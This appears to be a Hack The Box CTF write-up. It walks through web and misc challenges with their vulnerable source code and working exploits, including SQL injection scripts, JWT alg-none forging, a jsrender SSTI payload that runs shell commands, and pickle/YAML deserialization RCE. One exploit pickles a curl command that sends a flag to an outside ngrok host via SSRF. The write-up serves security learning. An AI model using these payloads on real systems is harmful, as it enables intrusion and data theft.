Web - Trapped
View page source
1
2
3
4
5
6
7
8
<script>
window.CONFIG = window.CONFIG || {
buildNumber: "v20190816",
debug: false,
modelName: "Valencia",
correctPin: "8291",
}
</script>
HTB{V13w_50urc3_c4n_b3_u53ful!!!}
## Web - Gunpoint
ReconModel.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
#[AllowDynamicProperties]
class ReconModel
{
public function __construct($ip)
{
$this->ip = $ip;
}
public function getOutput()
{
# Do I need to sanitize user input before passing it to shell_exec?
return shell_exec('ping -c 3 '.$this->ip);
}
}
Exploit Command:
1
/ping 1; CAT /flag.txt
HTB{4lw4y5_54n1t1z3_u53r_1nput!!!}
Web - drobot
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from colorama import Cursor
from application.util import createJWT
from flask_mysqldb import MySQL
mysql = MySQL()
def query_db(query, args=(), one=False):
cursor = mysql.connection.cursor()
cursor.execute(query, args)
rv = [dict((cursor.description[idx][0], value)
for idx, value in enumerate(row)) for row in cursor.fetchall()]
return (rv[0] if rv else None) if one else rv
def login(username, password):
# We should update our code base and use techniques like parameterization to avoid SQL Injection
user = query_db(f'SELECT password FROM users WHERE username = "{username}" AND password = "{password}" ', one=True)
if user:
token = createJWT(username)
return token
else:
return False
Use a wordlist for Login bypasses: login_bypass.txt
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
url = "http://139.59.173.68:30518/api/login"
count = 0
total_lines = sum(1 for line in open('login_bypass.txt'))
def try_authenticate(username, password):
payload = { "username":username.strip('\n'),"password":password.strip('\n')}
response = requests.post(url, json=payload)
print(f"{count}/{total_lines} - {response.status_code} - {payload}")
if response.status_code == 200:
return True
return False
with open("login_bypass.txt") as file:
for line in file:
count +=1
user = try_authenticate(line, "password")
password = try_authenticate("username", line)
if user or password:
break
output
1
2
3
61/804 - 403 - {'username': 'username', 'password': "')) or (('x'))=(('x"}
62/804 - 403 - {'username': '" or "x"="x', 'password': 'password'}
62/804 - 200 - {'username': 'username', 'password': '" or "x"="x'}
HTB{p4r4m3t3r1z4t10n_1s_1mp0rt4nt!!!}
Web - Passman
Helpers/GraphQLHelper.js: No authorisation on the UpdatePassword mutation in GraphQL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
const mutationType = new GraphQLObjectType({
name: 'Mutation',
fields: {
RegisterUser: {
type: ResponseType,
args: {
email: { type: new GraphQLNonNull(GraphQLString) },
username: { type: new GraphQLNonNull(GraphQLString) },
password: { type: new GraphQLNonNull(GraphQLString) }
},
resolve: async (root, args, request) => {
return new Promise((resolve, reject) => {
db.registerUser(args.email, args.username, args.password)
.then(() => resolve(response("User registered successfully!")))
.catch(err => reject(new GraphQLError(err)));
});
}
},
LoginUser: {
type: ResponseType,
args: {
username: { type: new GraphQLNonNull(GraphQLString) },
password: { type: new GraphQLNonNull(GraphQLString) }
},
resolve: async (root, args, request) => {
return new Promise((resolve, reject) => {
db.loginUser(args.username, args.password)
.then(async (user) => {
if (user.length) {
let token = await JWTHelper.sign( user[0] );
resolve({
message: "User logged in successfully!",
token: token
});
};
reject(new Error("Username or password is invalid!"));
})
.catch(err => reject(new GraphQLError(err)));
});
}
},
UpdatePassword: {
type: ResponseType,
args: {
username: { type: new GraphQLNonNull(GraphQLString) },
password: { type: new GraphQLNonNull(GraphQLString) }
},
resolve: async (root, args, request) => {
return new Promise((resolve, reject) => {
if (!request.user) return reject(new GraphQLError('Authentication required!'));
db.updatePassword(args.username, args.password)
.then(() => resolve(response("Password updated successfully!")))
.catch(err => reject(new GraphQLError(err)));
});
}
},
AddPhrase: {
type: ResponseType,
args: {
recType: { type: new GraphQLNonNull(GraphQLString) },
recAddr: { type: new GraphQLNonNull(GraphQLString) },
recUser: { type: new GraphQLNonNull(GraphQLString) },
recPass: { type: new GraphQLNonNull(GraphQLString) },
recNote: { type: new GraphQLNonNull(GraphQLString) },
},
resolve: async (root, args, request) => {
return new Promise((resolve, reject) => {
if (!request.user) return reject(new GraphQLError('Authentication required!'));
db.addPhrase(request.user.username, args)
.then(() => resolve(response("Phrase added successfully!")))
.catch(err => reject(new GraphQLError(err)));
});
}
},
}
});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /graphql HTTP/1.1
Host: XXX
User-Agent: XXX
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: XXX
Content-Type: application/json
Origin: XXX
Content-Length: 102
Connection: close
Cookie: XXX
{
"query": "mutation { UpdatePassword(username: \"admin\", password: \"newpassword\") { message } }"
}
HTB{1d0r5_4r3_s1mpl3_4nd_1mp4ctful!!}
Web - Orbital
database.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from colorama import Cursor
from application.util import createJWT, passwordVerify
from flask_mysqldb import MySQL
mysql = MySQL()
def query(query, args=(), one=False):
cursor = mysql.connection.cursor()
cursor.execute(query, args)
rv = [dict((cursor.description[idx][0], value)
for idx, value in enumerate(row)) for row in cursor.fetchall()]
return (rv[0] if rv else None) if one else rv
def login(username, password):
# I don't think it's not possible to bypass login because I'm verifying the password later.
user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True)
if user:
passwordCheck = passwordVerify(user['password'], password)
if passwordCheck:
token = createJWT(user['username'])
return token
else:
return False
def getCommunication():
return query('SELECT * from communication')
Using SQLMap against login to dump database: sqlmap -r login_request.txt --dbms=mysql --dump
output
1
2
3
4
5
6
7
8
Database: orbital
Table: users
[1 entry]
+----+-------------------------------------------------+----------+
| id | password | username |
+----+-------------------------------------------------+----------+
| 1 | 1692b753c031f2905b89e7258dbc49bb (ichliebedich) | admin |
+----+-------------------------------------------------+----------+
application/blueprint/routes.py Path traversal in api/export
1
2
3
4
5
6
7
8
9
10
11
12
13
14
@api.route('/export', methods=['POST'])
@isAuthenticated
def exportFile():
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
communicationName = data.get('name', '')
try:
# Everyone is saying I should escape specific characters in the filename. I don't know why.
return send_file(f'/communications/{communicationName}', as_attachment=True)
except:
return response('Unable to retrieve the communication'), 400
Dockerfile
We see the flag.txt has been copied to the file /signal_sleuth_firmware
1
2
3
# copy flag
COPY flag.txt /signal_sleuth_firmware
COPY files /communications/
Request to get the flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /api/export HTTP/1.1
Host: XXX
User-Agent: XXX
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
Content-Length: 38
Origin: XXX
Connection: close
Referer: XXX
Cookie: XXX
{
"name":"../signal_sleuth_firmware"
}
HTB{T1m3b4$3d$ql1_4r3_fun!!!}
Web - Didactic Octo Paddles
AdminMiddleware.js business logic JWT tokens with another algo then H256 are being processed without token:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
const jwt = require("jsonwebtoken");
const { tokenKey } = require("../utils/authorization");
const db = require("../utils/database");
const AdminMiddleware = async (req, res, next) => {
try {
const sessionCookie = req.cookies.session;
if (!sessionCookie) {
return res.redirect("/login");
}
const decoded = jwt.decode(sessionCookie, { complete: true });
if (decoded.header.alg == 'none') {
return res.redirect("/login");
} else if (decoded.header.alg == "HS256") {
const user = jwt.verify(sessionCookie, tokenKey, {
algorithms: [decoded.header.alg],
});
if (
!(await db.Users.findOne({
where: { id: user.id, username: "admin" },
}))
) {
return res.status(403).send("You are not an admin");
}
} else {
const user = jwt.verify(sessionCookie, null, {
algorithms: [decoded.header.alg],
});
if (
!(await db.Users.findOne({
where: { id: user.id, username: "admin" },
}))
) {
return res
.status(403)
.send({ message: "You are not an admin" });
}
}
} catch (err) {
return res.redirect("/login");
}
next();
};
module.exports = AdminMiddleware;
Use jwt_tool to tamper with jwt token
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiaWF0IjoxNjc5MjM5OTU1LCJleHAiOjE2NzkyNDM1NTV9.dJjAYGyWsqK-8k1PKsQRW74ZFgc6tFquC0oCiKFaFb0 -X a
- Change algo to ‘None’ to go to the else section of the if statement
jwt_tool.py eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpZCI6MiwiaWF0IjoxNjc5MjM5OTU1LCJleHAiOjE2NzkyNDM1NTV9. -T
- Change id to 1 payload:
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpZCI6MSwiaWF0IjoxNjc5MjM5OTU1LCJleHAiOjE2NzkyNDM1NTV9.
request to get /admin
1
2
3
4
5
6
7
8
9
GET /admin HTTP/1.1
Host: XXX
User-Agent: XXX
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpZCI6MSwiaWF0IjoxNjc5MjM5OTU1LCJleHAiOjE2NzkyNDM1NTV9.
Upgrade-Insecure-Requests: 1
The web application uses jsrender so there is a possibility of SSTI Package.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"name": "didactic-octo-paddle",
"dependencies": {
"bcryptjs": "^2.4.3",
"cookie-parser": "^1.4.6",
"express": "^4.18.2",
"jsonwebtoken": "^9.0.0",
"jsrender": "^1.0.12",
"nodemon": "^2.0.20",
"path": "^0.12.7",
"sequelize": "^6.28.0",
"sqlite3": "^5.1.4"
}
}
The admin dashboard uses the templating engine to print out usernames, so we create a username with an SSTI exploit for jsrender and refresh the /admin dashboard with our tampered jwt token.
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /register HTTP/1.1
Host: XXX
User-Agent: XXX
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: XXX
Content-Type: application/json
Origin: XXX
Content-Length: 187
Connection: close
Cookie: session=XXX
{"username":"{{:\"pwnd\".toString.constructor.call({},\"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()\")()}}","password":"test"}
HTB{Pr3_C0MP111N6_W17H0U7_P4DD13804rD1N6_5K1115}
Web - TrapTrack
This flask application uses redis with a worker waiting to do a health check on an URL with PyCurl
. Redis deserialises set through HSET
. We exploit an insecure deserialization vulnerability by pickling a command to send the flag to our server and execute it on Redis through SSRF.
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import base64
import pickle
victim_url = 'http://209.97.134.50:31920/'
url = 'https://ea58-2a02-a03f-e416-1500-9fe4-ab5f-a6cd-d3a8.eu.ngrok.io'
def payload(cmd):
class rce(object):
def __reduce__(self):
import os
return os.system, (cmd,)
dmp = pickle.dumps(rce())
return dmp
response = requests.post(victim_url + 'api/login', json= {'username':'admin', 'password':'admin'})
print(response.cookies)
pickledPayload = base64.b64encode(payload('/readflag > /tmp/flag; curl -d @/tmp/flag ' + url))
print(f'{pickledPayload=}')
ssrf = 'gopher://127.0.0.1:6379/_' + requests.utils.quote(f"HSET jobs 100 {pickledPayload.decode()}\nSAVE")
print(ssrf)
response = requests.post(victim_url + 'api/tracks/add', json={'trapName':'SSRF', 'trapURL':ssrf}, cookies=response.cookies)
print(response.text)
HTB{tr4p_qu3u3d_t0_rc3!}
Misc - Hijack
This challenge is about insecure deserialization in Python. When pickle deserialization happens the reduce method is checked for instructions, we overwrite these to read out the flag file.
1) exploit.py:
1
2
3
4
5
6
7
8
9
import os
import yaml
class Payload(object):
def __reduce__(object):
command = 'cat flag.txt'
return(os.system, (command,))
print(yaml.dump(Payload()))
2) Base64 encode the payload python3 exploit.py | base64
output ISFweXRob24vb2JqZWN0L2FwcGx5OnBvc2l4LnN5c3RlbQotIGNhdCBmbGFnLnR4dAoK
3) Connect to the server with netcat nc IP PORT
select the Load Config
option
1
2
3
4
5
6
7
8
9
<------[TCS]------>
[1] Create config
[2] Load config
[3] Exit
>2
Serialized config to load: ISFweXRob24vb2JqZWN0L2FwcGx5OnBvc2l4LnN5c3RlbQotIGNhdCBmbGFnLnR4dAoK
HTB{1s_1t_ju5t_m3_0r_iS_1t_g3tTing_h0t_1n_h3r3?}
** Success **
Uploading to ship...
HTB{1s_1t_ju5t_m3_0r_iS_1t_g3tTing_h0t_1n_h3r3?}
Misc - Restricted
https://d00mfist.gitbooks.io/ctf/content/escaping_restricted_shell.html
ssh restricted@104.248.169.117 -p 31231
Once inside the instance you have a very restricted profile that doesn’t allow any slashes, cd
,su
,id
,ls
,python
.. You can however do export -p
We know from the source code there is an entry listening on port 1337 you can connect to it by using ssh with “bash noprofile” to bypass the restricted bash profile: ssh restricted@10.244.5.144 -p 1337 "bash --noprofile"
pwd
/home/restricted
id
uid=1000(restricted) gid=1000(restricted) groups=1000(restricted)
cd /
ls
cat flag_8dpsy
HTB{r35tr1ct10n5_4r3_p0w3r1355}
Misc - nehebkaus trap
This challenge is about Python Jailbreak escape. Denylisted characters: Blacklisted character(s): ['.', '_', '"', ' ', "'", ',']
Allowed characters: (
)
+
aZ
There are two methods that I discovered to complete this challenge
Invoking input()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__
{00}
\__/
/^/
( (
\_\_____
(_______)
(_________()Ooo.
[ Nehebkau's Trap ]
You are trapped!
Can you escape?
> print(eval(input()))
[*] Input accepted!
__import__('os').system('cat flag.txt')
HTB{y0u_d3f34t3d_th3_sn4k3_g0d!}
Converting to ascii
1) In this case, we used int(open("flag.txt", "r").read())
to get the flag, but any command could be used. We need to encapsulate this command with int()
to provoke an error as this allows us to view the flag convert the command to read the file to ascii convert.py:
1
2
3
4
5
command = 'int(open("flag.txt", "r").read())'
output = ''
for i in range(len(command)):
output += 'chr(' + str(ord(command[i])) + ')+'
print(output)
2) run eval
with the converted char string
1
2
3
>eval(chr(105)+chr(110)+chr(116)+chr(40)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(39)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)+chr(39)+chr(44)+chr(32)+chr(39)+chr(114)+chr(39)+chr(41)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)+chr(41))
[*] Input accepted!
Error: invalid literal for int() with base 10: 'HTB{y0u_d3f34t3d_th3_sn4k3_g0d!}\n'
HTB{y0u_d3f34t3d_th3_sn4k3_g0d!}
Misc - Janken
There is a logic bug in the code, submitting “rockpaperscissors” will always pass.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from socket import socket
def sendInput(input):
sock.send(input.encode())
return sock.recv(1024).decode()
output = ''
sock = socket()
sock.connect(('167.99.86.8', 30479))
#start the game
sendInput('1')
#submitting "rockpaperscissors" each round
for i in range(100):
output = sendInput('rockpaperscissors')
print(output)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[*] Round [99]:
Choose:
Rock 👊
Scissors ✂
Paper 📜
>>
[!] Guru's choice: rock
[!] Your choice: rockpaperscissors
[+] You won this round! Congrats!
[+] You are worthy! Here is your prize: HTB{r0ck_p4p3R_5tr5tr_l0g1c_buG}
HTB{r0ck_p4p3R_5tr5tr_l0g1c_buG}